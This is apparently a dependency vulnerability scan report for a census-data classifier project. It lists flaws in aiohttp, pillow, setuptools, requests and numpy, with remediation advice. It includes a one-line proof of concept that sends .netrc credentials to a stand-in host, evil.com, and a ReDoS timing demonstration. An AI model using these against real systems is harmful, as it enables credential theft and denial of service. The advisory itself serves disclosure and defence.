Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via the configuration of static routes when the follow_symlinks option is set to True. An attacker can read arbitrary files on the system by exploiting the lack of validation for file paths to ensure they are within the specified root directory for static files.
Notes:
This vulnerability has been present since the introduction of the follow_symlinks parameter.
An application is only vulnerable with setup code like:
app.router.add_routes([
web.static("/static", "static/", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability
])
Workaround
This vulnerability can be mitigated by disabling the follow_symlinks option if it is set to True, especially in environments beyond restricted local development. Additionally, using a reverse proxy server to handle static resources is recommended over serving static resources directly with aiohttp in production environments.
Remediation
Upgrade aiohttp to version 3.9.2 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: pillow@9.5.0, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pillow@9.5.0Remediation: Upgrade to pillow@10.3.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
Overview
Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.
Remediation
Upgrade pillow to version 10.3.0 or higher.
References
medium severity
- Vulnerable module: setuptools
- Introduced through: numba@0.56.4 and ydata-profiling@4.16.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › setuptools@40.5.0Remediation: Upgrade to numba@0.57.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › setuptools@40.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.
Note:
Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade setuptools to version 65.5.1 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: requests@2.31.0, msal@1.33.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0Remediation: Upgrade to requests@2.32.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).
PoC
requests.get('http://example.com:@evil.com/')
Remediation
Upgrade requests to version 2.32.4 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: requests@2.31.0, msal@1.33.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0Remediation: Upgrade to requests@2.32.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.
Notes:
For requests <2.32.0, avoid setting
verify=Falsefor the first request to a host while using a Requests Session.For requests <2.32.0, call
close()on Session objects to clear existing connections ifverify=Falseis used.This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.
Remediation
Upgrade requests to version 2.32.2 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.9.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Improper Input Validation via the ClientSession method. An attacker can modify the HTTP request or create a new HTTP request if they control the HTTP method.
Note: This is only exploitable if the attacker can control the HTTP method of the request.
Workaround
Perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).
Remediation
Upgrade aiohttp to version 3.9.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.9.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Improper Input Validation in the ClientSession. An attacker can modify the HTTP request or create a new HTTP request by controlling the HTTP version of the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.
Note: The vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).
Workaround
If these specific conditions are met and you are unable to upgrade, then validate the user input to the version parameter to ensure it is a str.
Remediation
Upgrade aiohttp to version 3.9.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.9.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper handling of index pages for static file serving when show_index is set to True. If users have the ability to upload files with arbitrary filenames to the static directory, an attacker can inject malicious scripts that will be executed in the context of the victim's browser session by crafting a file name that includes executable script content.
Note:
This is only exploitable if the server is configured to allow users to upload files to the static directory and show_index is enabled.
Workaround
This vulnerability can be mitigated by using a reverse proxy server (e.g., nginx) for serving static files, as recommended, or by disabling show_index if unable to upgrade.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade aiohttp to version 3.9.4 or higher.
References
medium severity
- Module: certifi
- Introduced through: certifi@2025.7.14, requests@2.31.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0 › certifi@2025.7.14
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › certifi@2025.7.14
MPL-2.0 license
low severity
- Vulnerable module: numpy
- Introduced through: numpy@1.21.3, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numpy@1.21.3Remediation: Upgrade to numpy@1.22.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › numpy@1.21.3
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › numpy@1.21.3Remediation: Upgrade to numba@0.58.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to pandas@2.1.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › patsy@1.0.1 › numpy@1.21.3Remediation: Upgrade to patsy@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › numpy@1.21.3Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › numpy@1.21.3Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › statsmodels@0.13.5 › numpy@1.21.3Remediation: Upgrade to statsmodels@0.14.1.
-
